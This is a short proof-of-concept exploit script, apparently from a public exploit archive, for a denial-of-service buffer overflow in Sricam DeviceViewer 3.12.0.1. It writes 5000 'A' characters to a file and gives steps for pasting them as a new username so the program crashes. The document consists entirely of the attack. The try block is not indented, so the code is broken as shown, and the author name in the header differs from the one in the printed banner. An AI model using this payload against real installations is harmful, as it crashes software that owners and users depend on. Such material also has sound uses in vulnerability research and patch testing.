#!/usr/bin/python
# Exploit Title: DeviceViewer 3.12.0.1 - 'creating user' DOS buffer overflow
# Date: 9/23/2019
# Exploit Author: x00pwn
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7
# Steps to reproduce:
# 1. Generate a malicious payload via the POC
# 2. In the Sricam application create a new user
# 3. When creating a new user, set the username as the malicious payload
# 4. Observe a program DOScrash
payload = "A" * 5000
try:
evilCreate =open("exploit.txt","w")
print("""
DeviceViewer 3.12.0.1 DOS exploit POC
Author: Nu11pwn
""")
print("[x] Creating malicious file")
evilCreate.write(payload)
evilCreate.close()
print("[x] Malicious file create")
print("[x] When creating a new user, set the username to the file contents")
print("[x] Watch the program crash")
except:
print("[!] File failed to be created")